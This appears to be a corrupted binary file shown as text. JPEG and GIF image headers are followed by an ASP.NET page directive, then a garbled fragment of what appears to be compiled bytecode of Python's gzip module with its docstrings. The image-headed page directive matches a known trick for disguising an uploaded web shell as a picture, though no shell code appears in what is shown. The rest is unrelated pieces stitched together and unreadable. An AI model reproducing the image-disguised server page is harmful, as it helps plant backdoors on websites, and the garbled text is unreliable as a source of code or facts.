ÿØÿà JFIF ÿÛ C $.' ",#(7),01444'9=82<.342ÿÛ C 2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %>
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
F\h9` S r SSKrSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK r / SQr
Su rrr
rrSrSrSrSrS rS
rS\R, - rS\SSS4S jrS
r " S S5 r " S S\5 r " S S\R: 5 r " S S\R> 5 r S r!S r" " S S\RF 5 r$\4SS.S jjr%S r&S r'\(S:X a \'" 5 gg)zFunctions that read and write gzipped files.
The user of the file doesn't have to worry about the compression,
but random access is not allowed. N)BadGzipFileGzipFileopencompress
decompress) rbwbr i r
c SU; a SU; a [ SU< 35 eO*Ub [ S5 eUb [ S5 eUb [ S5 eUR SS5 n[ U [ [ [
R 45 ( a
[ XU5 nO;[ U S 5 ( d [ U S
5 ( a [ SXbU 5 nO[ S5 eSU; a- [ R " U5 n[ R " XsXE5 $ U$ )a Open a gzip-compressed file in binary or text mode.
The filename argument can be an actual filename (a str or bytes object), or
an existing file object to read from or write to.
The mode argument can be "r", "rb", "w", "wb", "x", "xb", "a" or "ab" for
binary mode, or "rt", "wt", "xt" or "at" for text mode. The default mode is
"rb", and the default compresslevel is 9.
For binary mode, this function is equivalent to the GzipFile constructor:
GzipFile(filename, mode, compresslevel). In this case, the encoding, errors
and newline arguments must not be provided.
For text mode, a GzipFile object is created, and wrapped in an
io.TextIOWrapper instance with the specified encoding, error handling
behavior, and line ending(s).
tbzInvalid mode: Nz0Argument 'encoding' not supported in binary modez.Argument 'errors' not supported in binary modez/Argument 'newline' not supported in binary mode readwritez1filename must be a str or bytes object, or a file)
ValueErrorreplace
isinstancestrbytesosPathLiker hasattr TypeErrorio
text_encoding
TextIOWrapper)filenamemode
compresslevelencodingerrorsnewlinegz_modebinary_files /usr/lib/python3.13/gzip.pyr r ! s ( d{$;49:: OPPMNNNOOll3#G(S%566x-@ 6 " "gh&@&@tWXFKLL
d{##H-vGG c P U R [ R " SU5 5 g )Nz